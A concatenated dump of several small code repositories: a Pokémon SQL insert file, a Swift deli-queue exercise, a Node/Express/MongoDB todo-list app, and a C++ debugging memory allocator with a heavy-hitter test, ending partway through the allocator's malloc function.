INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Seadra','117','http://www.serebii.net/pokemongo/pokemon/117.png','25.0 kg','1.19 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Goldeen','118','http://www.serebii.net/pokemongo/pokemon/118.png','15.0 kg','0.61 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Seaking','119','http://www.serebii.net/pokemongo/pokemon/119.png','39.0 kg','1.30 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Staryu','120','http://www.serebii.net/pokemongo/pokemon/120.png','34.5 kg','0.79 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Starmie','121','http://www.serebii.net/pokemongo/pokemon/121.png','80.0 kg','1.09 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Mr. Mime','122','http://www.serebii.net/pokemongo/pokemon/122.png','54.5 kg','1.30 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Scyther','123','http://www.serebii.net/pokemongo/pokemon/123.png','56.0 kg','1.50 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Jynx','124','http://www.serebii.net/pokemongo/pokemon/124.png','40.6 kg','1.40 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Electabuzz','125','http://www.serebii.net/pokemongo/pokemon/125.png','30.0 kg','1.09 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Magmar','126','http://www.serebii.net/pokemongo/pokemon/126.png','44.5 kg','1.30 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Pinsir','127','http://www.serebii.net/pokemongo/pokemon/127.png','55.0 kg','1.50 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Tauros','128','http://www.serebii.net/pokemongo/pokemon/128.png','88.4 kg','1.40 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Magikarp','129','http://www.serebii.net/pokemongo/pokemon/129.png','10.0 kg','0.89 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Gyarados','130','http://www.serebii.net/pokemongo/pokemon/130.png','235.0 kg','6.50 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Lapras','131','http://www.serebii.net/pokemongo/pokemon/131.png','220.0 kg','2.49 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Ditto','132','http://www.serebii.net/pokemongo/pokemon/132.png','4.0 kg','0.30 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Eevee','133','http://www.serebii.net/pokemongo/pokemon/133.png','6.5 kg','0.30 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Vaporeon','134','http://www.serebii.net/pokemongo/pokemon/134.png','29.0 kg','0.99 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Jolteon','135','http://www.serebii.net/pokemongo/pokemon/135.png','24.5 kg','0.79 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Flareon','136','http://www.serebii.net/pokemongo/pokemon/136.png','25.0 kg','0.89 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Porygon','137','http://www.serebii.net/pokemongo/pokemon/137.png','36.5 kg','0.79 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Omanyte','138','http://www.serebii.net/pokemongo/pokemon/138.png','7.5 kg','0.41 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Omastar','139','http://www.serebii.net/pokemongo/pokemon/139.png','35.0 kg','0.99 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Kabuto','140','http://www.serebii.net/pokemongo/pokemon/140.png','11.5 kg','0.51 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Kabutops','141','http://www.serebii.net/pokemongo/pokemon/141.png','40.5 kg','1.30 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Aerodactyl','142','http://www.serebii.net/pokemongo/pokemon/142.png','59.0 kg','1.80 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Snorlax','143','http://www.serebii.net/pokemongo/pokemon/143.png','460.0 kg','2.11 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Articuno','144','http://www.serebii.net/pokemongo/pokemon/144.png','55.4 kg','1.70 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Zapdos','145','http://www.serebii.net/pokemongo/pokemon/145.png','52.6 kg','1.60 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Moltres','146','http://www.serebii.net/pokemongo/pokemon/146.png','60.0 kg','2.01 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Dratini','147','http://www.serebii.net/pokemongo/pokemon/147.png','3.3 kg','1.80 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Dragonair','148','http://www.serebii.net/pokemongo/pokemon/148.png','16.5 kg','3.99 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Dragonite','149','http://www.serebii.net/pokemongo/pokemon/149.png','210.0 kg','2.21 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Mewtwo','150','http://www.serebii.net/pokemongo/pokemon/150.png','122.0 kg','2.01 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Mew','151','http://www.serebii.net/pokemongo/pokemon/151.png','4.0 kg','0.41 m'); | dae1adaa8a24746e7fd40cdbb88fb44859fed2f1 | [
"JavaScript",
"SQL",
"Markdown"
] | 3 | JavaScript | nickangtc/convert-json-to-sql | fbbb96aae0ea43285af6a223cf4508f2fbb77f17 | c8278c19fa4da3f8b75e0d16c8626d4d66672ebf |
refs/heads/master | <file_sep>// Sandbox.swift
import Foundation
//1
let deliLineNames1: [String] = ["Al", "Chris", "Zach"]
func stringForDeliLine(names:[String]) -> String {
var list: String = ""
if names.isEmpty {
return "The line is currently empty."
} else {
list = "The line is:\n"
for (index, name) in names.enumerate(){
list = list + ("\(index+1).\(name)\n")
}
}
return list
}
//2
var deliLineNames2: [String] = ["Lindsay", "Amanda", "Tanner", "Jim"]
var nameToAdd: String = "Marie"
func addName(name: String, toDeliLine: [String]) -> [String] {
var newDeliLine = toDeliLine
newDeliLine.append(name)
for (index, name) in newDeliLine.enumerate() {
print ("Welcome \(name)! Thank you for waiting patiently. You are now number \(index + 1) in line.")
}
return newDeliLine
}
//3
var deliLineNames3: [String] = ["Jim", "Lindsay", "Amanda", "Tanner", "Marie"]
func serveNextCustomerInDeliLine(deliLineNames:[String]) -> [String]{
var newDeliLineNames = deliLineNames
if !newDeliLineNames.isEmpty {
let nextCustomer = newDeliLineNames[0]
print ("\nHello, \(nextCustomer), it is your now your turn. Please proceed to counter number one, where you can pass Marie into Flatiron's iOS Mobile Development Course. :)")
} else {
print ("The line is currently empty.")
}
return newDeliLineNames
}
<file_sep>// Sandbox.swift
import Foundation
//print ("Hello Jim! Nice to meet you. My name is Marie and I am an Architect. I think of the structure of coding in the same way I relate to a building. You'll see a bit of my background influence nested below! \n")
//1
//FOUNDATION: EXISTING CONDITIONS
let deliLineNames1: [String] = ["Al", "Chris", "Zach"]
//declaring a constant String array, which represents a list of people in the queue for the deliCounter
//EXTERIOR STRUCTURE:THE FUNCTIONAL FRAMEWORK
func stringForDeliLine(names:[String]) -> String {
//defining the function called stringForDeliLine, which takes a String array argument called 'names'(placeholder) and returns a String; curly brackets set up the body function, which consists of an if-else condition with a for-in loop. The string I am printing in the for-in loop interpolates the values, 'index' and 'name'
//THE INTERIOR STRUCTURE: (IF STRUCTURALLY SOUND, BUILD WALLS (CONDITION), AND INSTALL A SYSTEM (FOR-IN LOOP) WITHIN EACH ENCLOSURE)
var list: String = ""
//declaring a new empty String variable (list) to pass the return value
if names.isEmpty {
return "The line is currently empty."
//uses a method to check that the placeholder variable (name) is an empty array; if true, then it returns a string
} else {
list = "The line is:\n"
for (index, name) in names.enumerate(){
//for-in loop iterates over each value in the array of strings. The .enumerate() method added to the 'names' String array provides access to the value('name') in the current iteration as well as to it's index in the array, which is used to display numbered instructions
list = list + ("\(index+1).\(name)\n")
//concatenating a String of variables within the variable 'answer'; the consecutive index and associated string value are added to the String, 'answer', in order to pass the return value; add '1' to the index value (to start instructions from 1 and not 0)
}
}
//THE INFRASTRUCTURE: THE RESULT
return list
}
//BUILDING CHECK
//print (stringForDeliLine(deliLineNames1))
//print to console and call on the function, passing through the arrayOfNames variable previously created
//______________________________________________________________________________________________________________________________
//2
//FOUNDATION: EXISTING CONDITIONS
var deliLineNames2: [String] = ["Lindsay", "Amanda", "Tanner", "Jim"]
var nameToAdd: String = "Marie"
//declaring a variable String array (deliLineNames2, which represents a list of people in the queue for the deli counter; declaring a variable String (nameToAdd) that will be added to the current queue of people
//EXTERIOR STRUCTURE:THE FUNCTIONAL FRAMEWORK
func addName(name: String, toDeliLine: [String]) -> [String] {
//defining the function called addName, which takes two arguments: a String value 'name' and an String array 'deliLine', then returning a String array; The curly brackets set up the body function, which consists of a for-in loop. The string I am printing in the for-in loop interpolates the values, 'index' and 'name'
//THE INTERIOR STRUCTURE: FINALISE THE NEW FRAMEWORK AND INSTALL A SYSTEM (FOR-IN LOOP)
var newDeliLine = toDeliLine
newDeliLine.append(name)
//declaring a variable (newDeliLine) in order to access deliLine argument and modify it; the .append() method adds the String value (name) to the end of the String array (deliLine), which now is set to equal the variable 'newDeliLline'
for (index, name) in newDeliLine.enumerate() {
print ("Welcome \(name)! Thank you for waiting patiently. You are now number \(index + 1) in line.")
//for-in loop iterates over each value (name) in the new String array (newDeliLine) with "Joe" added; The .enumerate() method added to the end of 'newDeliLine' provides access to the value 'name' in the current iteration as well as to it's index in the array, which is used to display what number each person is in line; add 1 to index to start counting from 1 and not 0
}
//THE INFRASTRUCTURE: THE RESULT
return newDeliLine
//returns the altered 'toDeliLine' array
}
//BUILDING CHECK
//addName(nameToAdd, toDeliLine: deliLineNames2)
//call on the function, passing through both parameters (name and deliLine), which are declared above
//______________________________________________________________________________________________________________________________
//3
//FOUNDATION: EXISTING CONDITIONS
var deliLineNames3: [String] = ["Jim", "Lindsay", "Amanda", "Tanner", "Marie"]
//declaring a variable String array (deliLineNames3), which represents a list of people in the queue for the deli counter; declaring a variable String (name) that will be added to the current queue of people
//EXTERIOR STRUCTURE:THE FUNCTIONAL FRAMEWORK
func serveNextCustomerInDeliLine(deliLineNames:[String]) -> [String]{
//defining the function called serveNextCustomerInDeliLine, which takes one argument, a String array 'deliLineNames' and returns a String array. The curly brackets set up the body function, which consists of an if-else condition. The return string interpolates 'nextCustomer'
//THE INTERIOR STRUCTURE: IF STRUCTURALLY SOUND, BUILD WALLS (CONDITION)
var newDeliLineNames = deliLineNames
//declaring a new String variable (newDeliLineNames) to access the 'deliLineNames' variable and pass the return value
if !newDeliLineNames.isEmpty {
////uses a method .isEmpty to check that that the line of people ([deliLineNames])is NOT empty; if true, then the function will continue to call the nextCustomer
let nextCustomer = newDeliLineNames[0]
//a new constant 'nextCustomer'is declared, which is set to equal the first person in the String array 'newDeliLineNames') which is written 'newDeliLineNames[0]' (subscript counting begins with 0 for computers)
newDeliLineNames.removeFirst()
//uses a method .removeFirst() to remove the first value within the string array 'newDeliLineNames', which is 'Jim'
print ("\nHello, \(nextCustomer), it is your now your turn. Please proceed to counter number one, where you can pass Marie into Flatiron's iOS Mobile Development Course. :)")
//prints to the console with interpolated value 'nextCustomer'
} else {
print ("The line is currently empty.")
}
//THE INFRASTRUCTURE: THE RESULT
return newDeliLineNames
}
//BUILDING CHECK
//print(serveNextCustomerInDeliLine(deliLineNames3))
////print to the console, call on the function, passing through the parameter (deliLine3), which is declared above
//print("\nCheers Jim! Hopefully see you at Flatiron!")
| 609b5a17d8e5166f690e7f587e6e4d512810e877 | [
"Swift"
] | 2 | Swift | mariejinpark/swift-deli-counter-ios-apply-000 | 940977bb499ccb6755b06f069dfd941e948d4c1b | 6993e07816b32fbb86b1c098e3877310b6efff21 |
refs/heads/main | <repo_name>israelWL/reactmini2<file_sep>/src/components/PokeCard.js
import React from "react";
import { mockPokemonData } from "../mock/pokeData";
export default function PokeCard() {
return (
<div>
<h1>{mockPokemonData.name}</h1>
<img src={mockPokemonData.sprites.front_default} />
<img src={mockPokemonData.sprites.front_shiny} />
<a href={mockPokemonData.video} target="_blank">
video
</a>
</div>
);
}
| edb291792d48667dc8cee0175fb45dfdf64d4711 | [
"JavaScript"
] | 1 | JavaScript | israelWL/reactmini2 | e164b84887ec65a0b7e0c49d418816a6edd84fac | 67eb9190adb674b11f5229be0281cc390c870c89 |
refs/heads/master | <repo_name>SakuraFire/Website<file_sep>/htdocs/application/models/Blog_model.php
<?php
class Blog_model extends CI_Model {
public function __construct()
{
$this->load->database();
$this->load->dbforge();
}
public function get_blog($id = FALSE)
{
if ($id === FALSE)
{
$query = $this->db->get('blog');
return $query->result_array();
}
$query = $this->db->get_where('blog', array('id' => $id));
return $query->row_array();
}
public function add_blog()
{
$this->load->helper('url');
$data = array(
'title' => $this->input->post('title'),
'text' => $this->input->post('text')
);
return $this->db->insert('blog', $data);
}
public function alter_blog($id)
{
$this->load->helper('url');
$data = array(
'title' => $this->input->post('title'),
'text' => $this->input->post('text')
);
$this->db->where('id', $id);
$this->db->update('blog', $data);
}
}<file_sep>/htdocs/application/views/blog/success1.php
succcccccccccccccccccccccccccccd!!!!! | 9621edc660532f0d8e588998136d49dd290ef3ab | [
"PHP"
] | 2 | PHP | SakuraFire/Website | 35010f50bd8ae0354cf506aa34384c746271ec4b | b4f7b61bec577e5fbde36a185afd68bc8013cc39 |
refs/heads/master | <file_sep>//================================================
//Main Page Functions
//================================================
//function that is called to submit task to the database
//takes the event, the url for the ajax call, and an optional id
function createTask(e, url){
e.preventDefault()
let taskInput = $('#task'),
input = taskInput.val().trim(),
task;
if (input !== '') {
//creating task object
task = {
task: input
};
//clearing input
taskInput.val('');
$.ajax({
url: '/api/create',
type: 'POST',
data: task,
success: function (response){
//reloading the page to reflect changes
window.location.href = '/';
},
error: function (err){
console.log(err);
}
});
}
}
//function to remvove uncompleted tasks. Requires users to
//confirm deletion
function remove(id){
let remove = confirm('Are you sure you want to delete it? You haven\'t even completed it yet! No one likes a quitter...')
if (remove){
$.ajax({
url: 'api/task/'+id,
type: 'DELETE',
success: function (response){
location.reload()
},
error: function (err){
console.log(err);
}
});
}
}
//function to change task from incomplete to complete
function complete(id){
$.ajax({
url: 'api/task/'+id,
method: 'PUT',
success: function (result){
location.reload();
},
error: function (err){
console.log(err);
}
});
}
//functoin to remove completed tasks. No confirmation for deletion
function removeCompleted(id){
$.ajax({
url: 'api/task/'+id,
type: 'DELETE',
success: function (response){
location.reload();
},
error: function (err){
console.log(err);
}
})
}
//================================================
//Edit Page Functions
//================================================
//function that is called to edit the name of a task
function editTask(e, id){
e.preventDefault()
let taskInput = $('#editTask'),
input = taskInput.val().trim(),
task;
if (input !== '') {
//creating task object
task = {
task: input,
_id: id
}
//clearing inputs
taskInput.val('');
$.ajax({
url: '/api/update',
type: 'POST',
data: task,
success: function (response){
//redirecting back to the main page
window.location.href = '/';
},
error: function (err){
console.log(err);
}
});
}
} <file_sep>const Task = require('../models/task');
const sortTask = (a,b) => {
const taskA = a.task.toLowerCase();
const taskB = b.task.toLowerCase();
return (taskA < taskB) ? -1 : (taskA > taskB) ? 1 : 0;
}
module.exports = {
findAll: function (req,res){
Task
.find({})
.then(result => {
result.sort(sortTask)
res.render('index', {tasks: result})
})
.catch(err => res.json(err))
},
create: function(req,res){
Task
.create(req.body)
.then(result => {
// result.sort(sortTask)
res.json(result)
})
.catch(err => res.json(err));
},
findOne: function (req,res){
Task
.findOne({_id: req.params.id})
.then(result => res.render('edit', result))
.catch(err => res.json(err))
},
complete: function (req,res){
Task
.findOneAndUpdate({_id: req.params.id}, {completed: true})
.then(result => res.json(result))
.catch(err => res.json(err))
},
deleteOne: function (req,res){
Task
.remove({_id: req.params.id})
.then(result => res.json(result))
.catch(err => res.json(err))
},
updateName: function (req,res){
Task
.findOneAndUpdate({_id: req.body._id}, {task: req.body.task})
.then(result => res.json(result))
.catch(err => res.json(err))
}
}
<file_sep>//Dependencies
const express = require('express');
const app = express();
const bodyParser = require('body-parser')
const path = require('path')
const logger = require('morgan');
const mongoose = require('mongoose');
const exphbs = require('express-handlebars');
const favicon = require('serve-favicon');
//setting up database
const MONGODB_URI = process.env.MONGODB_URI || 'mongodb://127.0.0.1/practiceDB';
mongoose.connect(MONGODB_URI);
mongoose.Promise = global.Promise;
const db = mongoose.connection;
db.on('error', console.error.bind(console, 'MongoDB connection error:'));
//setting up morgan middleware
app.use(logger('dev'));
//setting up body parser middleware
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json())
//setting up handlebars middleware
app.engine('handlebars', exphbs({defaultLayout: 'main'}));
app.set('view engine', 'handlebars');
//serving blank favicon to keep from throwing 404 errors
app.use(favicon(path.join(__dirname, 'public', 'favicon.ico')))
//setting up static path for serving static files
app.use(express.static(path.join(__dirname, 'public')));
//Bringing in the routes
const index = require('./routes/index');
const api = require('./routes/api');
app.use('/', index);
app.use('/api', api);
//Server starts listening
const PORT = process.env.PORT || 3000;
app.listen(PORT, function(){
console.log('Server listening on port', PORT)
});<file_sep>const router = require('express').Router();
const taskController = require('../controller/taskController');
router
.route('/task/:id')
.get(taskController.findOne)
.put(taskController.complete)
.delete(taskController.deleteOne)
router.post('/create', taskController.create);
router.post('/update', taskController.updateName);
module.exports = router;<file_sep># ToDo List
Simple full stack To do list app for practice with Node, Express, MongoDB, and Handlebars
[Click Here](https://map-express-todo-list.herokuapp.com/) to view the deployed version.
| b0d13a557ddb840233f28024ff7bb313132ff7b4 | [
"JavaScript",
"Markdown"
] | 5 | JavaScript | m081779/express-handlebars-todo-list | 529f20aa7d22a0dee1710ab9436d7401f802f4d5 | 93156abef3e336a6a84763138f97c7613833e1c1 |
refs/heads/master | <file_sep># Dmalloc
A debugging memory allocator in C that will provide many of the features of Valgrind.
Specifically, the debugging allocator...
1. Tracks memory usage,
2. Catches common programming errors (e.g., use after free, double free),
3. Detects writing off the end of dynamically allocated memory (e.g., writing 65 bytes into a 64-byte
piece of memory), and
4. Catches less common, somewhat devious, programming errors (memcpys and frees of allocated memory, etc)
The debugging allocator also includes heavy hitter reporting that tells a programmer where most of the dynamically-allocated memory is allocated.
<file_sep>#ifndef M61_HH
#define M61_HH 1
#include <cassert>
#include <cstdlib>
#include <cinttypes>
#include <cstdio>
#include <new>
/// dmalloc_malloc(sz, file, line)
/// Return a pointer to `sz` bytes of newly-allocated dynamic memory.
void* dmalloc_malloc(size_t sz, const char* file, long line);
/// dmalloc_free(ptr, file, line)
/// Free the memory space pointed to by `ptr`.
void dmalloc_free(void* ptr, const char* file, long line);
/// dmalloc_calloc(nmemb, sz, file, line)
/// Return a pointer to newly-allocated dynamic memory big enough to
/// hold an array of `nmemb` elements of `sz` bytes each. The memory
/// should be initialized to zero.
void* dmalloc_calloc(size_t nmemb, size_t sz, const char* file, long line);
/// dmalloc_statistics
/// Structure tracking memory statistics.
struct dmalloc_statistics {
unsigned long long nactive; // # active allocations
unsigned long long active_size; // # bytes in active allocations
unsigned long long ntotal; // # total allocations
unsigned long long total_size; // # bytes in total allocations
unsigned long long nfail; // # failed allocation attempts
unsigned long long fail_size; // # bytes in failed alloc attempts
uintptr_t heap_min; // smallest allocated addr
uintptr_t heap_max; // largest allocated addr
};
/// dmalloc_get_statistics(stats)
/// Store the current memory statistics in `*stats`.
void dmalloc_get_statistics(dmalloc_statistics* stats);
/// dmalloc_print_statistics()
/// Print the current memory statistics.
void dmalloc_print_statistics();
/// dmalloc_print_leak_report()
/// Print a report of all currently-active allocated blocks of dynamic
/// memory.
void dmalloc_print_leak_report();
/// dmalloc_print_heavy_hitter_report()
/// Print a report of heavily-used allocation locations.
void dmalloc_print_heavy_hitter_report();
/// `dmalloc.cc` should use these functions rather than malloc() and free().
void* base_malloc(size_t sz);
void base_free(void* ptr);
void base_allocator_disable(bool is_disabled);
/// Override system versions with our versions.
#if !M61_DISABLE
#define malloc(sz) dmalloc_malloc((sz), __FILE__, __LINE__)
#define free(ptr) dmalloc_free((ptr), __FILE__, __LINE__)
#define calloc(nmemb, sz) dmalloc_calloc((nmemb), (sz), __FILE__, __LINE__)
#endif
/// This magic class lets standard C++ containers use your debugging allocator,
/// instead of the system allocator.
template <typename T>
class dmalloc_allocator {
public:
using value_type = T;
dmalloc_allocator() noexcept = default;
dmalloc_allocator(const dmalloc_allocator<T>&) noexcept = default;
template <typename U> dmalloc_allocator(dmalloc_allocator<U>&) noexcept {}
T* allocate(size_t n) {
return reinterpret_cast<T*>(dmalloc_malloc(n * sizeof(T), "?", 0));
}
void deallocate(T* ptr, size_t) {
dmalloc_free(ptr, "?", 0);
}
};
template <typename T, typename U>
inline constexpr bool operator==(const dmalloc_allocator<T>&, const dmalloc_allocator<U>&) {
return true;
}
template <typename T, typename U>
inline constexpr bool operator!=(const dmalloc_allocator<T>&, const dmalloc_allocator<U>&) {
return false;
}
#endif
<file_sep>#include "dmalloc.hh"
#include <cstdlib>
#include <cmath>
#include <cstring>
#include <cstdio>
#define NALLOCATORS 40
// hhtest: A sample framework for evaluating heavy hitter reports.
// 40 different allocation functions give 40 different call sites
void f00(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f01(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f02(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f03(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f04(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f05(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f06(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f07(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f08(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f09(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f10(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f11(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f12(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f13(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f14(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f15(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f16(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f17(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f18(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f19(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f20(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f21(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f22(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f23(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f24(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f25(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f26(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f27(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f28(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f29(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f30(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f31(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f32(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f33(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f34(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f35(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f36(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f37(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f38(size_t sz) { void* ptr = malloc(sz); free(ptr); }
void f39(size_t sz) { void* ptr = malloc(sz); free(ptr); }
// An array of those allocation functions
void (*allocators[])(size_t) = {
&f00, &f01, &f02, &f03, &f04, &f05, &f06, &f07, &f08, &f09,
&f10, &f11, &f12, &f13, &f14, &f15, &f16, &f17, &f18, &f19,
&f20, &f21, &f22, &f23, &f24, &f25, &f26, &f27, &f28, &f29,
&f30, &f31, &f32, &f33, &f34, &f35, &f36, &f37, &f38, &f39
};
// Sizes passed to those allocation functions.
// Later allocation functions have much bigger sizes.
size_t sizes[NALLOCATORS] = {
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 2, 4, 8, 16, 32, 64,
128, 256, 512, 1024, 2048, 4096, 8192, 16384, 32768, 65536
};
static void phase(double skew, unsigned long long count) {
// Calculate the probability we'll call allocator I.
// That probability equals 2^(-I*skew) / \sum_{i=0}^40 2^(-I*skew).
// When skew=0, every allocator is called with equal probability.
// When skew=1, the first allocator is called twice as often as the second,
// which is called twice as often as the third, and so forth.
// When skew=-1, the first allocator is called HALF as often as the second,
// which is called HALF as often as the third, and so forth.
double sum_p = 0;
for (int i = 0; i < NALLOCATORS; ++i) {
sum_p += pow(0.5, i * skew);
}
long limit[NALLOCATORS];
double ppos = 0;
for (int i = 0; i < NALLOCATORS; ++i) {
ppos += pow(0.5, i * skew);
limit[i] = RAND_MAX * (ppos / sum_p);
}
// Now the probability we call allocator I equals
// (limit[i] - limit[i-1]) / (double) RAND_MAX,
// if we pretend that limit[-1] == 0.
// Pick `count` random allocators and call them.
for (unsigned long long i = 0; i < count; ++i) {
long x = random();
int r = 0;
while (r < NALLOCATORS - 1 && x > limit[r]) {
++r;
}
allocators[r](sizes[r]);
}
}
int main(int argc, char **argv) {
// use the system allocator, not the base allocator
// (the base allocator can be slow)
base_allocator_disable(1);
if (argc > 1 && (strcmp(argv[1], "-h") == 0
|| strcmp(argv[1], "--help") == 0)) {
printf("Usage: ./hhtest\n\
OR ./hhtest SKEW [COUNT]\n\
OR ./hhtest SKEW1 COUNT1 SKEW2 COUNT2 ...\n\
\n\
Each SKEW is a real number. 0 means each allocator is called equally\n\
frequently. 1 means the first allocator is called twice as much as the\n\
second, and so on. The default SKEW is 0.\n\
\n\
Each COUNT is a positive integer. It says how many allocations are made.\n\
The default is 1000000.\n\
\n\
If you give multiple SKEW COUNT pairs, then ./hhtest runs several\n\
allocation phases in order.\n");
exit(0);
}
// parse arguments and run phases
for (int position = 1; position == 1 || position < argc; position += 2) {
double skew = 0;
if (position < argc) {
skew = strtod(argv[position], 0);
}
unsigned long long count = 1000000;
if (position + 1 < argc) {
count = strtoull(argv[position + 1], 0, 0);
}
phase(skew, count);
}
dmalloc_print_heavy_hitter_report();
}
<file_sep>#define M61_DISABLE 1
#include "dmalloc.hh"
#include <cstdlib>
#include <cstring>
#include <cstdio>
#include <cinttypes>
#include <cassert>
#include <climits>
#include <unordered_map>
#include <string>
#include <iostream>
#include <math.h>
#include <vector>
#include <algorithm>
using namespace std;
unsigned long long NUM_MALLOC = 0; // number of sucessful malloc calls
unsigned long long NUM_FREE = 0; // number of successful free calls
unsigned long long TOTAL_SIZE = 0; // all sizes of mallocs
unsigned long long NUM_FAIL = 0; // number of failed mallocs
unsigned long long FAIL_SIZE = 0; // size of failed mallocs
unsigned long long ACTIVE_SIZE = 0; // size of active mallocs
uintptr_t HEAP_MIN = ULONG_MAX; // smallest address allocated
uintptr_t HEAP_MAX = 0; // largest address allocated
unordered_map<string, size_t> HEAVY_HITTERS; // hash map for heavy hitters
struct header_t; // forward declaration (so header_t can be used in Node)
typedef struct Node { // linked list struct
struct Node* next;
header_t* head;
int free;
} Node;
typedef struct header_t { // header struct
char buffer[160]; // buffer for memcpy sanitizer warnings in tests 32 and 33
size_t sz;
int free; // block has been freed or not
const char* file;
long line;
Node* listNode;
char ow_prot[5]; // overwrite protection
} header_t;
typedef struct { // footer struct
char ow_prot[300]; // overwrite protection
} footer_t;
Node* header_list = NULL;
void init_header(header_t* headPtr, size_t sz_in, const char* file_in, long line_in);
void init_footer(footer_t* footPtr);
int validFooter(footer_t* footPtr);
int validCanary(header_t* headPtr);
void addNode(header_t* newHeader);
void notAllocated(void* ptr, const char* file, long line);
void addHHnode(string fileLine, size_t bytes);
/// dmalloc_malloc(sz, file, line)
/// Return a pointer to `sz` bytes of newly-allocated dynamic memory.
/// The memory is not initialized. If `sz == 0`, then dmalloc_malloc must
/// return a unique, newly-allocated pointer value. The allocation
/// request was at location `file`:`line`.
void* dmalloc_malloc(size_t sz, const char* file, long line) {
(void) file, (void) line; // avoid uninitialized variable warnings
if (sizeof(header_t) + sizeof(footer_t) >= SIZE_MAX - sz) {
NUM_FAIL++;
FAIL_SIZE += sz;
return NULL;
}
void* ret = base_malloc(sz + sizeof(header_t) + sizeof(footer_t));
uintptr_t temp = (uintptr_t) ret; // check alignment
if (temp%8 != 0) {
temp += (8 - (temp % 8));
}
header_t* headPtr = (header_t*) temp;
if(headPtr==NULL) {
NUM_FAIL++;
FAIL_SIZE += sz; // can FAIL_SIZE wrap in loop?
return NULL; // what to return if malloc fails?
} else {
NUM_MALLOC++;
ACTIVE_SIZE += sz;
TOTAL_SIZE += sz;
init_header(headPtr, sz, file, line); // initialize header
addNode(headPtr); // add to header linked list
headPtr->listNode = header_list; // add node pointer to header
headPtr++; // continue to point to first part of malloced memory
if (HEAP_MIN == ULONG_MAX) { //update min and max
HEAP_MIN = (uintptr_t)(headPtr);
} else if ((uintptr_t)(headPtr) < HEAP_MIN) {
HEAP_MIN = (uintptr_t)(headPtr);
}
if ((uintptr_t)(headPtr) + sz > HEAP_MAX) {
HEAP_MAX = ((uintptr_t)(headPtr) + sz);
}
footer_t* footPtr = (footer_t*) ((uintptr_t)headPtr + sz);
init_footer(footPtr); // initilaize footer
// string concatenation of file and line
string fileLine = file;
fileLine += ":";
fileLine += to_string(line);
